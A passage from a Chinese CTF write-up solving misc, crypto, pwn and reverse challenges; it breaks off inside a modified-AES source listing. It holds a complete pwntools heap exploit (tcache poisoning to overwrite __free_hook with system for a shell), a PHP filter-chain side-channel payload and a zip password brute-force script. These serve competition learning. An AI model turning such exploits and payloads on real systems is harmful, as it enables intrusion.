最后,有兴趣的师傅也可以尝试复原一下下面这张图片(感觉比上面的简单)

但是感觉可以帮助大家理解原理

image-20241104164830929

二、白虎组Misc

misc01

1、分析流量包

下载附件打开流量包,根据题目提示“将恶意报文中攻击者构造的teid按时间先后顺序进行拼接”

wireshark打开 搜索字符串 teid

Image

发现很多包含 teid 的包,需要工具 tshark.exe 读取 teid ,

然后导入表格种进行分析

2、导出teid数据

使用 tshark.exe 批量提取数据包的 teid 值

tshark.exe -r UPF.cap -T fields -e gtp.teid > teid.csv

Image

3、分析表格数据

直接对数据去重找到两个很可疑的,其他都是单个只有这俩是多个

image-20241104171645410

Image

查看 teid 值,发现有两行数据存在两条异常数据,初步判

断应该是这两行数据,16进制进制转换然后进行拼接

Image

拼接提交

wdflag{2235649299000124}

misc02

附件提供流量包和加密算法脚本

分析流量和脚本

可以借助大模型快速分析脚本

加密脚本分析

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def encrypt(key, plaintext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
encryptor = cipher.encryptor()
padded_plaintext = pad(plaintext).encode()
encrypted = encryptor.update(padded_plaintext) + encryptor.finalize()
return encrypted

if __name__ == "__main__":
key = 1
msg = "123"
print(encrypt(key,msg))

文件内容是一个 Python 脚本,包含了一个简单的 AES 加密函数。这个脚本定义了两个函数:pad 用于填充文本以确保其长度是 16 的倍数,encrypt 用于执行 AES 加密。在主程序部分,使用了一个密钥 key = 1 和一个消息 msg = "123" 来进行加密,并打印出加密后的结果。

AES 加密是一种广泛使用的对称加密算法,而 ECB(电子密码本模式)是其一种模式。然而,ECB 模式存在一些安全缺陷,例如它不能很好地隐藏数据模式,相同的输入块会生成相同的输出块,这可能会泄露信息。

分析流量包

Image

查看数据流

Image

分析密钥为:475070864,待解密消息为:4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1

可以运用脚本进行计算

解密脚本

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import struct

def pad(text):
while len(text) % 16 != 0:
text += ' '
return text

def decrypt(key, ciphertext):
key_bytes = struct.pack('>I', key)
key_bytes = key_bytes.ljust(16, b'\0')
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
decrypted = decryptor.update(ciphertext) + decryptor.finalize()
return decrypted.decode()

# Given key and ciphertext
key = 475070864
ciphertext = bytes.fromhex('4ff7909b1d1e3e1ef33dd958adf1f4fb25306274720f807c4252beaaa1fe31ad867ec46c1f48fa734de206574d3189f1')

# Decrypt the ciphertext
decrypted_message = decrypt(key, ciphertext)
decrypted_message

得出结果

Image

misc03

侧信道攻击,参考这篇文章https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/#DownUnderCTF2022-minimal-php

接着用tshark工具将流量包中的value和对应状态码提取,在python中转成字典格式,替换原脚本的网页请求

并修改原脚本两处地方

blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000)
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'),

可以直接跑出flag

Image

Image

Image

misc04

不管他是什么,先拖入随波逐流]CTF编码工具

Image

有包含[随波逐流]CTF编码工具--文件---binwalk提取

Image

Image

2.png

Image

拖入[随波逐流]CTF编码工具:[随波逐流]CTF编码工具---图片---左右反转

Image

得到一半flag,再2个个压缩包里面都是2.png,只有文件夹中压缩包是11.png

Image

要密码,前面有个提示

comment: "!@#QQQ0010flag"

明显是要爆破

自己写一个字典

passlist=[]
for i in range(1000,10000):
passlist.append('!@#QQQ0010flag'+str(i))

with open(r'f:\temp\password.txt','w') as f:
for pas in passlist:
f.write(pas+'\n')

11.zip 拖入[随波逐流]CTF编码工具–密文区

password.txt拖入[随波逐流]CTF编码工具—-密钥区

[随波逐流]CTF编码工具--文件---zip密码字典爆破

Image

密码:!@#QQQ0010flag8456

Image

拖入[随波逐流]CTF编码工具

Image

又有包含

[随波逐流]CTF编码工具---文件---foremost提取

Image

Image

Image

很明显修改了宽高

居然没有能自动修改宽高,那只可能是CRC也被修改了

Image

计算实际的宽高

import struct
import zlib
import os

def calculate_crc(data, crc=None):
if crc is None:
crc = 0xffffffff
return zlib.crc32(data) & 0xffffffff

def brute_force_width_height(file_path, known_crc):
with open(file_path, 'rb') as f:
# 检查 PNG 文件头
signature = f.read(8)
if signature != b'\x89PNG\r\n\x1a\n':
print("这不是一个有效的 PNG 文件")
return None, None

# 读取 IHDR 块
chunk_length = struct.unpack('>I', f.read(4))[0]
if chunk_length != 13 or f.read(4) != b'IHDR':
print("IHDR 块不正确")
return None, None

# 读取宽度和高度
width, height = struct.unpack('>2I', f.read(8))

# 尝试不同的宽度和高度值,计算 CRC
for w in range(1, width + 1):
for h in range(1, height + 1):
# 构建 IHDR 块数据
ihdr_data = struct.pack('>2I5B', w, h, 8, 6, 0, 0, 0)
# 计算 CRC
crc = calculate_crc(b'IHDR' + ihdr_data)
if crc == known_crc:
print("找到匹配的宽高: 宽度 = %d, 高度 = %d" % (w, h))
return w, h

return None, None

# 使用示例
file_path = r'f:/temp/15.png' # 替换为你的 PNG 文件路径
known_crc = 0xd370e9a1 # 替换为你已知的 CRC 值
width, height = brute_force_width_height(file_path, known_crc)
if width and height:
print("实际宽度: %d, 实际高度: %d" % (width, height))

实际宽度: 620, 实际高度: 92

或者用 puzzlesolver 爆破宽高

得到一张png,拖到工具直接改宽高。

Image

[随波逐流]CTF编码工具--文件---2进制转16进制

Image

Image

将0320 012C改成026C 005C

Image

右键:导出为hex文件00000254-2.png

Image

Image

Image

wdflag{5fgh576eee739dh7u904bea4860s4eg5}

Crypto

CRYPTO01

解题思路

两个函数,P(x) = P * x,S(x) = A*x +b,

令 ,T = P^{-1}AP, U = P^{-1}b

则r = T{14}x+(T{13}+T{12}+...+I)U+(T{13}+T^{12}+...+I) P^{-1}k

因为flag头“wdflag{”7个字符,所以再爆破1个解上述方程,可得到列表keys,遍历keys后得到flag。

from Crypto.Util.number import * 

cipher_text = []
perm_indices = []
BLOCK_SIZE = 64
ROUNDS = 14

# Inverse permutation list
inverse_permutation = [perm_indices.index(i) for i in range(BLOCK_SIZE)]

# Constants for the mask and IV
MASK = 0b1110001001111001000110010000100010101111101100101110100001001001
IV = 7

# Helper functions
binary_to_integer = lambda bits: Integer(sum([bits[i] * 2**i for i in range(len(bits))]))

# Create the permutation matrix
P_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i, perm_index in enumerate(perm_indices):
P_matrix[i, perm_index] = 1

# Permutation function
def permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Inverse permutation function
def inverse_permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix.inverse() * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Define matrix A and vector b based on IV and MASK
A_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i in range(BLOCK_SIZE):
A_matrix[i, i] = 1
for i in range(BLOCK_SIZE):
j = i - IV
if j >= 0:
A_matrix[i, j] = 1

b_vector = vector(GF(2), BLOCK_SIZE)
for i in range(BLOCK_SIZE):
if (MASK >> i) & 1:
b_vector[i] = 1

# Substitution function
def substitute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = vector(GF(2), bit_x)
result = A_matrix * bit_x + b_vector
return binary_to_integer(vector(ZZ, result))

# Define matrix transformations for decryption
T_matrix = P_matrix.inverse() * A_matrix * P_matrix
U_vector = P_matrix.inverse() * b_vector
sum_T_matrix = sum(T_matrix**i for i in range(ROUNDS))

# Key recovery
recovered_keys = []
for i in range(1, 32):
cipher_bits = cipher_text[-1].bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)

message_bytes = bytes([i]) * 8
message_bits = Integer(bytes_to_long(message_bytes)).bits()
while len(message_bits) != BLOCK_SIZE:
message_bits += [0]
message_bits = vector(GF(2), message_bits)

cipher_bits -= T_matrix**ROUNDS * message_bits
cipher_bits -= sum_T_matrix * U_vector
try:
P_inverse_key = sum_T_matrix.solve_right(cipher_bits)
key = P_matrix * P_inverse_key
recovered_key = sum([int(key[j]) * 2**j for j in range(len(key))])
recovered_keys.append(recovered_key)
except:
pass

# Decryption function
def decrypt_block(cipher_block, key):
cipher_bits = cipher_block.bits()
key_bits = key.bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
while len(key_bits) != BLOCK_SIZE:
key_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)
key_bits = vector(GF(2), key_bits)

cipher_bits -= sum_T_matrix * P_matrix.inverse() * key_bits
cipher_bits -= sum_T_matrix * U_vector
decrypted_bits = (T_matrix**ROUNDS).inverse() * cipher_bits
message_bytes = long_to_bytes(binary_to_integer(vector(ZZ, decrypted_bits)))
return message_bytes

# Attempt decryption with each recovered key
for key in recovered_keys:
decrypted_message = [decrypt_block(c, key) for c in cipher_text]
flag = b"".join(decrypted_message)
print(flag)

CRYPTO02

https://jayxv.github.io/2019/11/11/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8B%E6%B5%85%E6%9E%90Pollard's%20rho%20algorithm%E5%8F%8A%E5%85%B6%E5%BA%94%E7%94%A8/

根据文章套板子直接打

Exp:

import libnum
from Crypto.Util.number import *
e = 65537
n = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453
with open("cipher.txt", "rb") as f:
c = f.read()
c = libnum.s2n(c)
def gcd(a, b):
while b:
a, b = b, a%b
return a
def mapx(x):
x=(pow(x,n-1,n)+3)%n
return x
def pollard_rho (x1,x2):
while True:
x1=mapx(x1)
x2=mapx(mapx(x2))
p=gcd(x1-x2,n)
if (p == n):
print("fail")
return
elif (p != 1):
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
break
pollard_rho(1, 1)

Pwn

pwn01

Edit存在任意地址写\x00,可以利用堆块错位申请打free_hook为system,free进tcachebin中的堆块会残留出libc_base和堆地址。之后修改fd最后一个字节为\x00触发漏洞,攻击free_hook获取shell

Add show, free,edit三个功能函数,实际上edit只能用一次任意地址写

利用指针残留获得heap_base,libc_base

Edit攻击目标地址-3,完成\x00修改fd位

之后触发tcachebin的整理机制完成tcachebin attack的操作

from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
def add(size,content):
rl("Input your choice")
sl(str(1))
rl("Size :")
sl(str(size))
rl("Content :")
s(content)
def free(i):
rl("Input your choice")
sl(str(2))
rl("Index :")
sl(str(i))
def show(i):
rl("Input your choice")
sl(str(4))
rl("Index :")
sl(str(i))
def edit(content):
rl("Input your choice")
sl(str(3))
rl("content :")
s(content)

add(0x98,b'a')
add(0x98,b'a')
add(0x98,b'a') #2
add(0x410,b'a')
add(0x98,b'a') #4

free(3)
add(0x410,b'a'*8) #5
show(5)
libc_base=get_addr()-2018272
li(hex(libc_base))
free_hook=libc_base+0x1eee48
system=libc_base+0x52290
free(5)

add(0x600,b'a') #6
add(0x410,b'a'*0x10) #7
show(7)
rl("a"*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x470
li(hex(heap_base))

add(0x140,b'/bin/sh\x00') #8
add(0x98,b'a') #9
add(0xa8,b'a') #10
add(0x98,b'a') #11
add(0xa8,b'a') #12

free(11)
free(0)
free(12)
free(10)
edit(p64(heap_base+0x290+8+5))
add(0x98,b'a')
add(0x98,b'a'*0x38+p64(0xb1)+p64(free_hook))
add(0xa8,b'a')
add(0xa8,p64(system))

free(8)
p.sendline(b"cat flag")
#print(p.recvline())

inter()

Reverse

re01

打开so文件,发现JNI_Onload 无法正确F5

0x00000000001B4E0附近发现了间接跳转, 实际BR X8是跳转到下一条指令,所以这是花指令,直接NOP掉即可。

Image

除开这种指令以外,还发现了这种间接跳转,这也是花指令,需要NOP掉

Image

将上述字节全部替换完后,逆向发现

Image

init_array中hook了JNI_OnLoad,以及Hook了RegisterNative方法,使真正的native函数为sub_1A9A8

Image

Image

Image

Image

Image

Image

这个函数进行了魔改的AES操作,修改了Sbox。

然后将MixColumnShiftRows 交换了顺序

# print(key)
sbox = [0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5]
rsbox = [0] * 256
for i in range(256):
rsbox[sbox[i]] = i
print(rsbox)

C代码如下:

main.cpp

#include <stdio.h>
#include "aes.hpp"

uint8_t Buf[48] = { };//密文


int main()
{
uint8_t key[16] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A,
0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10 };


AES_ctx aes_ctx;
// AES_init_ctx_iv(&aes_ctx, key, key);
// AES_CBC_encrypt_buffer(&aes_ctx, Buf, 48);
AES_init_ctx_iv(&aes_ctx, key, key);
AES_CBC_decrypt_buffer(&aes_ctx, Buf, 48);

printf("%s\n", Buf);


}

AES.cpp

/*

This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.

The implementation is verified against the test vectors in:
National Institute of Standards and Technology Special Publication 800-38A 2001 ED

ECB-AES128
----------

plain-text:
6bc1bee22e409f96e93d7e117393172a
ae2d8a571e03ac9c9eb76fac45af8e51
30c81c46a35ce411e5fbc1191a0a52ef
f69f2445df4f9b17ad2b417be66c3710

key:
2b7e151628aed2a6abf7158809cf4f3c

resulting cipher
3ad77bb40d7a3660a89ecaf32466ef97
f5d3d58503b9699de785895a96fdbaaf
43b1cd7f598ece23881b00e3ed030688
7b0c785e27e8ad3f8223207104725dd4


NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
You should pad the end of the string with zeros if this is not the case.
For AES192/256 the key size is proportionally larger.

*/


/*****************************************************************************/
/* Includes: */
/*****************************************************************************/
#include <string.h> // CBC mode, for memset
#include "aes.h"

#include <stdio.h>

/*****************************************************************************/
/* Defines: */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

#if defined(AES256) && (AES256 == 1)
#define Nk 8
#define Nr 14
#elif defined(AES192) && (AES192 == 1)
#define Nk 6
#define Nr 12
#else
#define Nk 4 // The number of 32 bit words in a key.
#define Nr 10 // The number of rounds in AES Cipher.
#endif

// jcallan@github points out that declaring Multiply as a function
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif




/*****************************************************************************/
/* Private variables: */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];



// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM -
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5 };

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static const uint8_t rsbox[256] = {
234, 198, 241, 128, 94, 156, 30, 51, 187, 210, 37, 103, 247, 98, 80, 75, 35, 190, 151, 3, 215, 196, 117, 86, 78, 39, 136, 12, 245, 253, 77, 84, 250, 123, 168, 157, 27, 235, 109, 81, 201, 93, 145, 95, 232, 226, 48, 127, 118, 69, 44, 97, 176, 236, 87, 222, 203, 140, 6, 239, 82, 200, 58, 163, 148, 206, 99, 159, 102, 9, 244, 74, 184, 240, 147, 237, 153, 107, 175, 68, 40, 105, 34, 179, 91, 25, 46, 120, 171, 142, 42, 217, 220, 125, 186, 183, 121, 124, 174, 52, 129, 8, 143, 96, 167, 19, 155, 225, 164, 144, 166, 17, 55, 189, 38, 45, 112, 7, 126, 182, 162, 26, 115, 219, 137, 185, 111, 65, 231, 193, 83, 36, 161, 154, 79, 70, 138, 246, 132, 228, 122, 23, 216, 133, 76, 113, 211, 207, 233, 72, 92, 248, 152, 43, 11, 199, 24, 169, 252, 33, 64, 54, 71, 173, 243, 10, 131, 4, 119, 32, 141, 221, 18, 73, 139, 15, 21, 180, 130, 62, 202, 255, 172, 134, 53, 5, 88, 16, 204, 29, 218, 209, 150, 227, 61, 13, 254, 90, 181, 110, 149, 229, 251, 50, 213, 194, 47, 59, 31, 230, 165, 160, 238, 28, 205, 177, 49, 116, 158, 191, 2, 208, 249, 223, 66, 57, 188, 106, 214, 14, 114, 22, 63, 100, 104, 60, 135, 0, 212, 197, 178, 41, 101, 89, 170, 20, 1, 195, 242, 56, 146, 224, 108, 67, 192, 85 };
#endif

// The round constant word array, Rcon[i], contains the values given by
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
static const uint8_t Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };

/*
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
* that you can remove most of the elements in the Rcon array, because they are unused.
*
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
*
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
*/


/*****************************************************************************/
/* Private functions: */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
unsigned i, j, k;
uint8_t tempa[4]; // Used for the column/row operations

// The first round key is the key itself.
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}

// All other round keys are found from the previous round keys.
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];

}

if (i % Nk == 0)
{
// This function shifts the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

// Function RotWord()
{
const uint8_t u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
}

// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.

// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}

tempa[0] = tempa[0] ^ Rcon[i/Nk];
}
#if defined(AES256) && (AES256 == 1)
if (i % Nk == 4)
{
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
#endif
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
{
uint8_t i,j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
}
}
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxValue((*state)[j][i]);
}
}
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to left
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;

// Rotate second row 2 columns to left
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to left
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}

static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}

// MixColumns function mixes the columns of the state matrix
